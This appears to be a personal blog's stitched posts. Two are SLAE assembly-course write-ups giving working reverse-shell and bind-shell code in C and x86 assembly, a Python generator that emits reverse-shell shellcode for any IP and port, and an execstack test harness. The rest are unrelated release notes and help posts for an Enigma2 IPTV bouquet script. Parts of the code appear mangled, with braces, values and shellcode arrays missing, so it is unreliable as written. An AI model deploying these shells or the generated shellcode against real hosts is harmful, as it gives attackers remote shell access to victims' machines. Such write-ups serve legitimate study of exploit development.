SLAE Assignment 2 – Reverse Shell – Shell-code


So assignment two is similar to assignment one, but this time is a reverse shell. Approach has been exactly the same, Eg C POC, Assembly than wrapper program. To be fair the assembly came a bit easier this time and wasn’t fair off working on first attempt so I’m making progress.

C Reverse Shell

First things first is the C proof of concept which is in fact a touch easier than the bind shell if anything be pretty straight forward to understand.

// File: reverse_shell.c
// Reverse shell in C, SLAE Assignment 2

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <unistd.h>

#define PORT 5555
#define IP "" 

int main(int argc, char *argv[])
	// define and populate structure for socket 
	struct sockaddr_in addr;
	addr.sin_family = AF_INET; // 2
	addr.sin_addr.s_addr = inet_addr(IP); // 
	addr.sin_port = htons(PORT); // 5555

	// Define and create socket 
	int s; 
	s = socket(AF_INET, SOCK_STREAM, 0) ; // Socket = syscall 359, AF_INET = 2, SOCK_STREAM = 1 
	connect(s, (struct sockaddr *)&addr, sizeof(addr)); // Connect syscall = 362 
	// Duplicate in, out and error 
	dup2(s, 0); // Dup2 sycall = 63 
	dup2(s, 1);
	dup2(s, 2); 
	// Execute Shell 
	execve("/bin/sh",0 ,0); // Execve syscall = 11
	return 0;


Assembly Reverse Shell

As before this is a direct translation of the C code into assembly. Only really one tricky part this time around which was dealing with null bytes in the IP address. E.g, in hex is 0x7f000001, which gives us null bytes in our shell-code. (Handy little converter here for reference ). Solution to this is to XOR 0x0100007f (0x7f000001 in reverse) with another value like 0xffffffff, use this value in the assembly code and XOR it back to the original value. See lines 23 to 25 for this.
One other useful tip is that I installed visual studio code on the Ubuntu box with the assembly language plugin which makes typing and viewing the code a whole lot easier than using a default text editor. You can grab the 32bit deb package from here Final assembly code is below.

; Filename: reverse_shell.nasm
; Website:
; Purpose: Reverse shell in x86 assembly 

global _start			

section .text

	; Clear everthing we are using 
	xor eax, eax 
	xor ebx, ebx 
	xor ecx, ecx 
	xor edx, edx 
	xor esi, esi
	xor edi, edi

	; Define structure for socket 
	; push 0x0100007f ; Push IP to stack in reverse byte order ; need to revist the null bytes here  (
	; We have a issue here in that the ip address = 0x0100007f in hex which contains null bytes 
	; Easiest way around this is to XOR the value with 0xffffffff
	mov edi, 0xfeffff80 ; xor of 0x0100007f and 0xffffffff
	xor edi, 0xffffffff
	push edi
	push word 0xb315 ; Push 5555 to the stack in reverse byte order 5555 in hex = 0x15b3 
	push word 0x2 ; push 2  to the stack (AF-INET) 

	; Create socket 
	; s = socket(AF_INET, SOCK_STREAM, 0)
	mov ax, 0x167 ; Syscall 359 (socket)
	mov bl, 0x2 ; AF-INET (2) 
	mov cl, 0x1 ; Sock stream (1) 
	; dl should already be zero 
	int 0x80 ; call system interupt to create socket 
	xchg esi, eax ; socket file descriptor now stored in esi 

	; Connect socket 
	; connect(s, (struct sockaddr *)&addr, sizeof(addr));
	mov ax, 0x16a ; Syscall 362 connect 
	mov ebx, esi ; Move socket file descriptor into ebx 
	mov ecx, esp ; Point ecx to the top of the stack which has our address structure on it 
	mov dl, 0x10 ; Size of structure (16)
	int 0x80 ; call system interupt to create connect 

	; Dup input output and error file descriptors 
	; dup2(s, 0); // Dup2 sycall = 63  
	xor eax, eax ; Clear eax 
	mov ebx, esi ; move socket id to ebx 
	xor ecx, ecx ; Clear ecx 
	mov cl, 0x2 ; set ecx to 2 
	mov al, 0x3f ; syscall 63 
	int 0x80 ; call dup 2 
	dec ecx  ; decrease ecx by 1 
	jns loop ; jump if not signed back to loop, this should cycle 2,1,0

	; Execute Shell 
	; execve("/bin/sh",0 ,0); // Execve syscall = 11
	; (const char *filename, char *const argv[], char *const envp[]);
	xor eax,eax ; null eax 
	mov al, 0xb ; syscall 11 into eax
	xor ebx, ebx ; zero ebx 
	push ebx ; push a null string to the stack to terminate our string 
	push 0x68732f2f ; hs//
	push 0x6e69622f ; nib/
	mov ebx, esp ; point ebx at the stack
	xor ecx, ecx ; clear ecx and edx as they are used in the syscall 
	xor edx, edx
	int 0x80 

section .data

As before we can link and compile the code with the following commands

    nasm -f elf32 -o reverse_shell.o reverse_shell.nasm 
    gcc -o reverse_shell reverse_shell.o 

Again we can extract the shell-code from our binary double checking for null bytes and compile the shell code in the following program.

suls@ubuntu:~/myslae/SLAE/Assignment-2$ objdump -d ./reverse_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 


unsigned char code[] = \

	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

Shell-code is compiled as follows:

gcc -fno-stack-protector -z execstack -o reverse_shell_shellcode shellcode.c 

And we end up with working reverse shell shell-code of 91 bytes.

Wrapper Program

Decided to go with Python this time around for a bit of a change, main challenge was working out how to XOR the IP address but it turned out it wasn’t too tricky in the end. Also had a few issues getting the compiled shell-code working once the script was complete. Wire shark to the rescue here, pretty easy to spot what the issue is.

Pushing the shell code through in the correct order resolves this pretty quickly. Python script below, have included some basic error checking to check for null bytes and valid port numbers.

#!/usr/bin/env python3 
# File:
# Reverse shell wrapper in python3 , SLAE Assignment 2
# Usage: python3 5000

import argparse
import socket 
from struct import unpack

print("***** Reverse shell wrapper script ******")

# Grab command line args (ip and port) 
parser = argparse.ArgumentParser() 
args = parser.parse_args() 
# check port is in a valid range 
if ((int(args.port) > 65535) or (int(args.port) < 256)):
    print("\nPort number must be between 256 and 65535\n")

# Xor Function 
def xor_strings(str1,str2):
    result =  int(str1,16) ^ int(str2,16)
    return '{:x}'.format(result)

# Process IP address
print("\nIP address: "+ args.ip)
# Convert IP to Hex 
hexip = socket.inet_aton(args.ip).hex() 
print("Hex IP Address: "+hexip)
# Reverse the hex String 
revhexip = hexip[6:8]
revhexip = revhexip + hexip[4:6]
revhexip = revhexip + hexip[2:4]
revhexip = revhexip + hexip[0:2]
# Xor the reversed hex address as the shellcode XORs this address to avoid null bytes 
xored_ip = xor_strings(revhexip,"FFFFFFFF")
print("XORed reverse hex IP Address: "+ xored_ip) 

# Process Port
print("\nPort: "+args.port)
# Convert Port to hex 
hexport = hex(int(args.port)).replace('0x','')
if len(hexport)<4:
    hexport = '0'+hexport
print("Hex Port: "+hexport)
revhexport = hexport[2:4]+ hexport[0:2] 
print("Reverse Hex Port: "+revhexport)

# Check for null bytes 
if (xored_ip[0:2]=="00" or 
    xored_ip[2:4]=="00" or 
    xored_ip[4:6]=="00" or 
    xored_ip[6:8]=="00" or 
    revhexport[0:2]=="00" or 
    print("\n** WARNING ** Null Bytes detected in Xored IP or port shellcode,")
    print("shellcode may not work !\n")

# Construct Shellcode 
shellcode= \
"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\x31\\xff\\xbf" + \
    "\\x"+ xored_ip[6:8] + \
    "\\x"+ xored_ip[4:6] + \
    "\\x"+ xored_ip[2:4] + \
    "\\x"+ xored_ip[0:2] + \
"\\x83\\xf7\\xff\\x57\\x66\\x68" + \
    "\\x"+ revhexport[2:4] + \
    "\\x"+ revhexport[0:2] + \
"\\x66\\x6a\\x02\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x96\\x66" + \
"\\xb8\\x6a\\x01\\x89\\xf3\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x89\\xf3" + \
"\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\xb0\\x0b" + \
"\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3" + \
# Output Shellcode 
print("\nShellcode (Length 91 Bytes): \n")

With our shell-code generated we can drop it into our shellcode.c file compile and test it as demonstrated before:

This completes assignment two, on to egg hunters in assignment 3! Source code is available on GitHub

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-1436

SLAE Assignment 1 – TCP Bind Shell-code


So part one of the challenges for Security Tube Linux Assembly Expert (SLAE) certification, TCP bind shell code. For more info on the course look here. Given my minimal knowledge of C programming at this point my intended process for this challenge is to:

  1. Identify the steps I need to take with the code
  2. Write a working C proof of concept for the task
  3. Port the C code to assembly language
  4. Compile and link to a binary and extract the working shell-code
  5. Finally work out a way of making the port number dynamic for the shell-code

Identify the steps I need to take with the code

With a little google fu and thanks to geeksforgeeks it looks like we can break the tasks down into the following

  • Create a socket
  • Bind the socket
  • Make the socket listen
  • Accept connections
  • Send a shell to the connection

Write a working C proof of concept for the task

So this took a bit of research but eventually we end up with the below. In particular you need to ensure that you understand the headers to include and what the various variables are value wise as we will require them when it comes to porting this to assembly. I’ve tried to comment everything inline to make as much sense as possible.

// File: bind_shell.c
// Simple bind shell in C, part of SLAE assessment 1 

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>

#define PORT 4444

int tcp_socket;
int client_socket_id;
struct sockaddr_in address;

int main()
	// Define our socket 
	// AF_INET = IPv4 (2) , 
	// SOCK_STREAM = 2 way communication (1), 
	// 0 = default protocol type TCP (0)
	tcp_socket = socket(AF_INET,SOCK_STREAM,0);

	// Bind Socket 
	// Initialise the socket address structure 
	address.sin_family = AF_INET; // 2
	address.sin_port = htons(PORT); // 4444
	address.sin_addr.s_addr = INADDR_ANY; // 0  
	// Bind to it 
	bind(tcp_socket,(struct sockaddr *) &address, sizeof(address));

	// Listen 

	// Accept connections 
	client_socket_id = accept(tcp_socket, NULL ,NULL);

	// Pipe input and output 
	dup2(client_socket_id,2); // stderr
	dup2(client_socket_id,1); // stdout
	dup2(client_socket_id,0); // stdin

	// Run a shell 
	execve("/bin/sh",NULL ,NULL);

	// Exit 
	return 0;

With the code in place we compile and test on our local machine using gcc and netcat and we have a working POC.

Moving on we can of course drop the shellcode out of the binary we have just created using C with the following command:

 objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 

However this is, one rather long, and two full of null terminators (\x00) so not overly useful to us as a piece of shellcode. Time to see we we can craft something more useful in assembly.

Port the C code to assembly language

So final code for this is below, the syscalls and variables for each function are ultimately derived from the following:

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket # syscall we want 
 man 2 socket 
 man 2 bind 
 man 2 listen 
 man 2 accept 
 man 2 dup2
 man 2 execve 

The code is rough and ready, I’ve purposely left it that way for now. One to see how my assembly programming improves and two as, optimising it might be an extra mile exercise a little later on. Another point I noted whilst debugging is that a lot of other students “exercise 1” code uses the “socketcall” function rather than socket, listen, accept etc. I’m not sure that either approach makes any different, however as I was replicating the above C code, I soldiered on with separate calls. Finally there doesn’t appear to be a syscall for “accept” so you have to use “accept4” in its place.

Hit a few challenges along the way which I thought it worth documenting which might aid fellows students should they hit similar problems.

Sockaddr Data structure

So the key to getting this working is the fact the structure has to be 16 bytes long and is fed to the stack in reverse order, so requires some padding, you are looking for something like this at the point you call bind:

Format of Port Number

Secondly and related to the above once I got everything working and the shell running, it worked but on a seemingly random high port number rather than 4444. This is because the port bytes need feeding to the stack in reverse order, e.g: 4444 = 0x115c in hex, what we actually want to push to the stack is.

push word 0x5c11

0x00 In Final Shell-code

So having finally got everything working I compiled and extracted my first shell-code to find it riddled with null bytes 🙁

suls@ubuntu:~/myslae/Assignment-1$ objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 

Disassembling the binary gives a clearer picture of whats going on:

In short moving a 8 or 16 bit value into a 32 bit register doesn’t fill it and it gets padded with zeros. Obvious beginners mistake. To correct instead of using the full register use the correct section for the amount of data you are moving.

mov eax, 0x12345678
 mov ax, 0x1234
 mov al, 0x12


; Filename bind_shell.nasm
; Purpose: TCP bind shell 

global _start			

section .text
	; Clear everthing we are using 
	xor eax, eax 
	xor ebx, ebx 
	xor ecx, ecx 
	xor edx, edx 
	xor esi, esi
	xor edi, edi

	; Set up a syscall for creating a socket 
	; int socket(int domain, int type, int protocol);
	; syscall = 359 Goes in EAX 
	; EBX 2
	; ECX 1 
	; EDX 0
	mov ax, 0x167  ; move 359 to al
	mov bl, 0x2 ; move 2 to bl 
	mov cl, 0x1 ; move 1 to cl
	mov edx, ecx ; move 1 into edx
	sub edx, 0x1 ; then subtract 1 to make zero 
	int 0x80
	xchg esi, eax ; socket file descriptor now stored in esi

	; Set up syscall for bind 
	; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
	; syscall = 361 (EAX)
	; EBX = esi
	; ECX = sockaddr structure (pointer to)
	; EDX = len(sockaddr structure) 
	; First we are going to build the structure need for sockaddr on the stack (reverse order)
	xor edx, edx
	push edx ; currently 0 (INADDR_ANY)
	push word 0x5c11 ; Port 4444 (reverse byte order 4444 = 0x115c)
	push word 0x2 ; (AF-INET)

	; Now assemble the actual call 
	mov ax, 0x169 ; Syscall 361 
	mov ebx, esi ; fd for socket 
	mov ecx, esp ; Structure for sockaddr, eg point ecx at the stack
	mov dl, 0x10 ; length of sockaddr (16)
	int 0x80 ; call system interupt 

	; Setup syscall for listen 
	; int listen(int sockfd, int backlog);
	; syscall listen = 363
	mov ax, 0x16b ; system call 363
	mov ebx, esi ; fd for our socket 
	xor ecx, ecx ; clear ecx (int backlog = 0) 
	int 0x80 ; call system interupt 

	; Setup syscall for accept 
	; syscall 364
	; int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);
	mov ax, 0x16c ; syscall 364 
	mov ebx, esi ; Socket fd 
	xor ecx, ecx ; null ecx and edx 
	xor edx, edx
	push esi ; save esi on the stack for now 
	xor esi, esi
	int 0x80 
	pop esi ; Get the value back 
	mov edi, eax ; store incoming fd in edi

	; Setup duplicate file descriptors for our socket 
	; int dup2(int oldfd, int newfd);
	; syscall 63
	mov al, 0x3f ; syscall 63
	mov ebx, edi ;  
	mov cl, 0x2
	int 0x80 
	dec ecx
	mov al, 0x3f ; syscall 63
	int 0x80 
	dec ecx
	mov al, 0x3f ; syscall 63	
	int 0x80 

	; Finally run a shell 
	; Execve = syscall 11
	; (const char *filename, char *const argv[], char *const envp[]);
	xor eax,eax ; null eax 
	mov al, 0xb ; syscall 11 into eax
	xor ebx, ebx ; zero ebx 
	push ebx ; push a null string to the stack to terminate our string 
	push 0x68732f2f ; hs//
	push 0x6e69622f ; nib/
	mov ebx, esp ; point ebx at the stack
	xor ecx, ecx ; clear ecx and edx as they are used in the syscall 
	xor edx, edx
	int 0x80 

section .data

Compile, Link and Extract

So finally get to compiling and linking our nasm file with the following commands:

nasm -f elf32 -o bind_shell.o bind_shell.nasm 
gcc -o bind_shell bind_shell.o 

With this complete we can extract our shell-code and test it works. Extraction with the previous bash command line looks like this.

suls@ubuntu:~/myslae/Assignment-1$ objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 

With our final shell code in place we can use a short C program to test the extracted shell-code works:


unsigned char code[] = \


	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;



Which we compile as follows:

gcc -fno-stack-protector -z execstack -o bind_shell_shellcode shellcode.c 

And test. A working shell code of 121 bytes.

Make the Port Number Dynamic

Final task in this section is to make the port number dynamic. Numerous way of doing this, my approach is going to be to string substitute the port value in the shell-code in C.

Final code below, which is functional but lacks any kind of error handling or sense checking of the user input or checking for bad characters.

// File: bind_shell_program.c
// Simple bind shell with configurable port number in C, part of SLAE assessment 1 
// NB: Zero error checking in this script :/


int portnumber;
unsigned char porthigh, portlow;

main(int argc, char** argv)
	// Check some thing has been passed in 
	if (argc != 2)
			printf("Port number must be supplied\n");
			printf("Usage: %s \n", argv[0]);
	// Convert Port number to some thing usable 
	portnumber = atoi(argv[1]);
	porthigh = portnumber >> 8 ;
	portlow = (portnumber << 8) >> 8;
	// Display our shellcode
	printf("Shellcode Length: 121");
	printf("Bind Port (%05d) \n\n",portnumber);

	return 0;


So that is assignment one completed, source code is available on gitub here.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-1436

e2m3u2bouquet 0.7


Updated release today of the script only. This update adds the following functionality to the script

  • Config file based settings
  • Support for multiple providers

If you are a plugin user on 0.6.3 with a single IPTV provider there is no need to upgrade to script version 0.7 (Plugin v0.7 is in the pipe line).

However as probably the largest out standing feature on our list I thought it worth releasing the script alone for those that don’t mind the commandline.

So script release is available here;

Install Guide

Download and extract the file.

FTP it to /etc/enigma2/e2m3u2bouquet on your enigma2 box.

SSH into your enigma box, then;

cd /etc/enigma2/e2m3u2bouquet
chmod 755

The script on first run will create a config.xml in /etc/enigma2/e2m3u2bouquet and tell you to fill it in.

Edit the config.xml and populate provider details and settings for as many providers as your require, the XML is commented so should be pretty straight forward.

NB: You need to change the supplier name field for the script to know you have updated the file.

nano config.xml
vi config.xml

Or use FTP to transfer the file for editing and replace it.

Then run the script again.


This will create bouquets for all the providers specificed and enabled in the config file.


To automate this use cron.

crontab -e


0 5 * * * /etc/enigma2/e2m3u2bouquet/ >> /tmp/e2.log

and press ESC follwed by :wq to exit the cron editor and save the entry. This will update your bouquets at 5am daily.


Any issues / bugs or problems leave a coment.

FAB URL Changes

Fab Urls

Changes to the new Fab new urls were made by Doug last night (12/08/2017)

However due to changes in the way we handle providers in later versions of the script you need to be on version >= 0.6 of the script or plugin to receive these changes.

See here or here to download the latest version.

Also please note FAB continue to be blocked by the current court directives despite the change in URLs so do not expect service during EPL matches

If you’re looking to setup a VPN on your enigma2 box there’s a guide available on the PIA website here

Community Guides – E2m3u2bouquet

Community Guides

Our old friend Tommy has an excellent guide to using the plugin version 7 upwards on his blog, see the below link for further information

Older Guides for earlier versions that may still contain useful information below:

Head Melted has done a nice video install guide on YouTube

Enigma2 IPTV Bouquets with EPG ipk install , Suls Script removal & ipk install. quick guide.

Dsayers Guide to installing and configuring the plugin over on Techkings

Suls e2m3u2bouquet 0.6 IPTV Bouquet MakerMaker plugin


E2m3u2bouquet Help Thread

Help Thread

Common problems and resolutions for E2m3u2bouquet.

“Permission denied” attempting to run the script

Ensure the script is executable, eg run (in the folder the script is in)

chmod 777

then run the script as per instructions

or run the script via python


EPG is not working

Ensure you have enabled the source in epg-importer and run a manual import.

If this still doesn’t work paste your epg url into firefox, this should return a bunch of XML data to the browser (nb: doesn’t work in chrome), if you don’t receive XML data back in the browser your epg url is wrong. Contact your provider to resolve this.

If you are using the serviceapp plugin to change the playback engine this is also know to stop the epg from working.

ImportError: No module named argparse

You need to install argparse on your box. Telnet/ssh to your box and run

opkg install python-argparse

No Module named imghdr

You need to install python-image (and likely python-imaging). Telnet/ssh to your box and run

opkg install python-image python-imaging

Bouquets disappear after box is rebooted

If you’ve already installed the providers script the changes it makes will need to be reverted otherwise the new bouquets will be deleted on restart

  • SSH to the box and remove /usr/bin/ – this sets to run on restart which causes all bouquets to be deleted
    N.B. Your box may use for other services. Check that it only contains before removing
rm /usr/bin/
  • Use the box GUI to delete the bouquet that creates Open the bouquet list. With the ‘Example’ bouquet selected, press the menu button there should be an option to remove the entry
  • Remove
rm /etc/enigma2/

Some channels stutter or don’t play correctly

This is likely due to having the ‘All IPTV type’ option enabled. Disable this option and re-run. If you’re using an override.xml file then you’ll also need to make sure the -xs option (script) or ‘Override service refs’: disabled (plugin) is set for this change to take effect.

e2m3u2bouquet 0.4.2


Quick post, purely a bug fix release,

  • Includes 0.4.1 fix invalid picon path hanging the script
  • includes 0.4.1 update service number to use numbers unlikely to be in use by existing sat services
  • includes 0.4.1 leave service number gaps between categories to reduce the effect of playlist additions cause the epg to get out of sync
  • Fixed error for ACE and FLAWLESS users where “:” in category put the box into an infinite loop



e2m3u2bouquet 0.4


OK been a couple of weeks but we have been busy.

Latest version of the script is now available below or from the home page, goto the home page for install instructions etc.

The script has come on a bit and is starting to be a bit more mature, some 500 lines of code compared to the initial release at 100 lines.

We are also now a team of 2! so kudos to Doug Mackay for doing at least half the coding on this release, also to Jose Sanchez for supplying the code for the picon support.

So changes this time

  • m3u file parsing updated ..
  • create single channels and sources list for EPG-Importer. Only one source now needs to be enabled in the EPG-Importer plugin (much quicker)
  • Added Picon download option (thanks to Jose Sanchez for initial code and idea)
  • Added custom bouquet ordering
  • Better command line arguments setup and processing
  • Mutli VOD by default
  • Named provider support (currently FAB, ULTIMATESPORTS and EPIC)
  • Delimiter options for user defined parsing of the m3u file (this means other format m3u files can be used with the script)

This means the command line options have changed again, they will remain static now,

So for the lucky FAB, ULTIMATESPORTS or EPIC people you can now run the script as follows

./ -n FAB -u username -p password 

./ -n EPIC -u username -p password 

Others need to run in a similar fashion to before but with the following options

./ -m "" -e ""

If any other providers want to be added to provider support just get in touch, happy to add others.

For information on picon support / custom bouquet sorting or specifying delimiter options for parsing other m3u file formats etc see the e2m3u2bouquet home page but for reference the full list of options is as follows.

usage: [-h] [-m M3UURL] [-e EPGURL] [-d1 DELIMITER_CATEGORY]
[-u USERNAME] [-p PASSWORD] [-i] [-s] [-P]
[-q ICONPATH] [-U] [-V]

e2m3u2bouquet.e2m3u2bouquet -- Enigma2 IPTV m3u to bouquet parser

Copyright 2017. All rights reserved.
Created on 2017-06-04.
Licensed under GNU GENERAL PUBLIC LICENSE version 3
Distributed on an "AS IS" basis without warranties
or conditions of any kind, either express or implied.


optional arguments:
-h, --help show this help message and exit
-i, --iptvtypes Treat all stream references as IPTV stream type.
(required for some enigma boxes)
-s, --singlevod Create single VOD bouquets rather multiple VOD
-P, --picons Automatically download of Picons, this option will
slow the execution
-q ICONPATH, --iconpath ICONPATH
Option path to store picons, if not supplied defaults
to /usr/share/enigma2/picon/
-U, --uninstall Uninstall all changes made by this script
-V, --version show program's version number and exit

URL Based Setup:
-m M3UURL, --m3uurl M3UURL
URL to download m3u data from (required)
-e EPGURL, --epgurl EPGURL
URL source for XML TV epg data sources
Delimiter (") count for category - default = 7
Delimiter (") count for title - default = 8
Delimiter (") count for tvg_id - default = 1
Delimiter (") count for logourl - default = 5

Provider Based Setup:
Host IPTV provider name (FAB/EPIC) (required)
-u USERNAME, --username USERNAME
Your IPTV username (required)
-p PASSWORD, --password PASSWORD
Your IPTV password (required)


e2m3u2bouquet – Automation via cron job

Cron Automation

OK quick post for those who requested it.

ssh to your enigma2 box

install busybox-cron

opkg install busybox-cron

Now set up your job

crontab -e

Will open the cron text editor.
Next steps need to be followed exactly as vi isn’t the most user friendly text editor

Press insert to start inputting text

Input your schedule and the command to run eg:

0 6,18 * * * /etc/enigma2/e2m3u2bouquet/ >> /tmp/e2.log


0 6,18 * * * /etc/enigma2/e2m3u2bouquet/ -m "" -e ""

press escape to exit text entering mode



to write and quit from the file, your crontab is saved.

In the above example we have scheduled the job to run at 6am and 6 pm every day (6,18)

An alternative to the above is to use

(crontab -l ; echo "0 6,18 * * * /etc/enigma2/e2m3u2bouquet/")| crontab -

This will append the job to the crontab. You’ll get a warning message if the current crontab is empty


See here for more information on cron scheduling

Enigma2 IPTV m3u to bouquet v0.3


nb: e2m3u2bouquet homepage is here for full instructions.

OK quick post to put this out there,

Thanks to all who tested the initial version and for all the suggestions and feedback really useful.

New version is a complete rewrite of the code base that won’t interest anyone unless they have an interest in python….

Feature wise it does the following

  • tvg-id now included in the channels from the m3u file
  • better parsing of m3u data (credit: Doug MacKay)
  • downloads m3u file from url
  • sets custom source to providers xml tv feed (as per Dougs v0.2)
  • fixed IPTV streams not playing / having incorrect stream type (Now set as IPTV stream type)
  • option to make all streams IPTV type (required for some enigma boxes)
  • option to split VOD bouquets by initial category
  • all parameters arg based so in theory works for other providers without a need to change the code and can be set up as an automatic cron job
  • auto reloads bouquets (credit: Doug MacKay)
  • debug \ testrun modes

In english, the bugs are ironed out, and epg is now working for everything that it can. It is no longer a requirement to manually download the m3u file the script will pick this up itself.

This does however mean the script is run differently.

Download version 0.3 here e2m3u2bouquet_v0.3

New instructions

  1. download the above file
  2. unzip the file
  3. ftp the to your engima2 box (i would suggest to /home/root)
  4. ssh to your enigma2 box (using putty or something similar)
  5. cd to the correct directory if you are not already there cd /home/root
  6. make script executable chmod 777
  7. run the script passing the url for your m3u file and the url for your providers XML TV data feed (for FAB the below works)
    note: you need to replace the username and password values X 2
    python "" ""
  8. No need to reboot

Additionally If you want epg data

  1. open EPG-Importer plugin (download it if you haven’t already got it)
  2. select sources (Blue button on openvix)
  3. enable all the IPTV UK sources created by the script
  4. Kick off a manual EPG import

If you are with a different provider the script should work but you will obviously need the m3u url (1st parameter) and XML TV url (2nd parameter) for your own provider. Please note the m3u file needs to be the “extended” version if you have the option.

For all stream types to be set to IPTV add -i to the end (default is DVB stream types for live channels and IPTV for VOD)

python "" "" -i

To split VOD channels via category add -m

python "" "" -m

To uninstall, dummy the positional parameters and add -U (yukky I know, will resolve)

python a a -U

There’s still quite a bit of work to do with the script but I wanted to get some thing that had working epg and could be automated out there.